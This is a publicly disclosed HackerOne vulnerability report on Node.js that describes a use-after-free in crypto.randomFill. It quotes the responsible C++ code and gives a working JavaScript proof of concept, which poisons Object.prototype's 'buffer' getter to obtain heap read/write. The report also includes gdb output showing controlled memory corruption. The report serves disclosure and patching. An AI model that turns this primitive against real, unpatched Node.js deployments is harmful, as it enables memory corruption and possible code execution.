HexBrain

Node.js · Report #340053

Use After Free in crypto.randomFill

Informativestatus
2upvotes
15 Jan 2020disclosed

How it was found

Summary:

We can trigger Use-After-Free while running crypto.randomFill, so we can easily read/write heap memory using a typed array pointing a freed backing store.

Description:

See this node_crypto.cc code.

void RandomBytesBuffer(const FunctionCallbackInfo<Value>& args) {
...
  char* data = Buffer::Data(args[0]); // <------------ Get a backing store from a given argument.
  data += offset;

  std::unique_ptr<RandomBytesRequest> req(
      new RandomBytesRequest(env,
                             obj,
                             size,
                             data,     // <--------------------- Store the data to req
                             RandomBytesRequest::DONT_FREE_DATA));
...
  } else {
    Local<Value> argv[2];
    RandomBytesProcessSync(env, std::move(req), &argv); // <---- This calls RandomBytesCheck
...
void RandomBytesCheck(RandomBytesRequest* req, Local<Value> (*argv)[2]) {
...
    char* data = nullptr;
    size_t size;
    req->return_memory(&data, &size);
    (*argv)[0] = Null(req->env()->isolate());
    Local<Value> buffer =
        req->object()->Get(req->env()->context(),
                           req->env()->buffer_string()).ToLocalChecked(); // <----- We can return a non-buffer object here by modifying Object.prototype getter.

    if (buffer->IsArrayBufferView()) {
      ...
    } else {
      (*argv)[1] = Buffer::New(req->env(), data, size) // <------- This creates a Buffer with the backing store of a given argument Buffer.
          .ToLocalChecked();
...

As a result, two buffers are sharing a backing store, so this triggers use-after-free if one of the buffers are freed by gc.

Steps To Reproduce:

Execute the following code.

const crypto = require('crypto');

Object.defineProperty(Object.prototype, "buffer", {
  get: function() {
    return {}; // Return a non-buffer.
  }, set: function(v) {
  }
});

let size = 100000;
let ta = new Uint8Array(size);
crypto.randomFillSync(ta, 0, size);

// Actually we don't need this part, this makes a buffer free and crashes just for PoC
let arr_size = 10000;
let arrs = new Array(arr_size);
for (let i = 0; i <arr_size; i++) {
  let tmp = new Array(0x500);
  arrs[i] = tmp;
}

// Just overwrites heap memory space to 0x41
for (let i = 0; i < size; i++) {
  ta[i] = 0x41;
}
$ ./out/Release/node --version
v9.11.1
$ gdb -q --args ./out/Release/node randombytes.js
Reading symbols from ./out/Release/node...r
done.
(gdb) r
Starting program: /.../ randombytes.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7fcd52464700 (LWP 34515)]
[New Thread 0x7fcd51c63700 (LWP 34516)]
[New Thread 0x7fcd51462700 (LWP 34520)]
[New Thread 0x7fcd50c61700 (LWP 34522)]
[New Thread 0x7fcd5391d700 (LWP 34529)]

Thread 1 "node" received signal SIGSEGV, Segmentation fault.
_int_malloc (av=av@entry=0x7fcd52829b20 <main_arena>, bytes=bytes@entry=8192) at malloc.c:3567
3567    malloc.c: No such file or directory.
(gdb) x/i $pc
=> 0x7fcd524e6f04 <_int_malloc+900>:    mov    rdx,QWORD PTR [rax+0x8]
(gdb) i r rax
rax            0x4141414141414141       4702111234474983745
(gdb)

I've tested this in node v9.11.1 built with clang in Ubuntu 16.04.3, and also reproducible in the master branch at the time of writing this report.

Impact

This vulnerability could lead to Remote Code Execution.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original